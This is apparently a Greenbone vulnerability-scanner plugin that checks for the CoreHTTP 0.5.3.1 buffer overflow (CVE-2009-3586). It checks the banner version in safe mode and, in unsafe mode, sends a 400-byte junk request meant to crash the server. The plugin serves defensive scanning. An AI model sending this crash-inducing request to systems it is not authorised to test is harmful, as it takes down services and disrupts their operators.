CoreHTTP 'src/http.c ' Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100377");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-12-08 12:57:07 +0100 (Tue, 08 Dec 2009)");
  script_cve_id("CVE-2009-3586");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("CoreHTTP 'src/http.c ' Buffer Overflow Vulnerability");
  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_family("Web Servers");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 5555);
  script_mandatory_keys("corehttp/banner");

  script_tag(name:"summary", value:"CoreHTTP is prone to a buffer-overflow vulnerability because it fails
  to adequately bounds-check user-supplied data.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to execute arbitrary code within the
  context of the affected application. Failed exploit attempts will
  result in a denial of service.");

  script_tag(name:"affected", value:"This issue affects CoreHTTP 0.5.3.1. Other versions may also
  be affected.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/37237");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/508272");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");
include("version_func.inc");

port = http_get_port(default:5555);

banner = http_get_remote_headers(port: port);
if(!banner || ! egrep(pattern:"Server: corehttp", string:banner))
  exit(0);

if(safe_checks()) {
  version = eregmatch(pattern:"Server: corehttp-([0-9.]+)", string:banner);
  if(!isnull(version[1])) {
    if(version_is_equal(version:version[1], test_version:"0.5.3.1")) {
      security_message(port:port);
      exit(0);
    }
  }
} else {

  if(http_is_dead(port:port))
    exit(0);

  soc = http_open_socket(port);
  if(!soc)
    exit(0);

  crap_data = crap(length:400);
  req = string(crap_data, "/index.html HTTP/1.1\r\n\r\n");
  send(socket:soc, data:req);

  if(http_is_dead(port:port)) {
    security_message(port:port);
    exit(0);
  }
}

exit(0);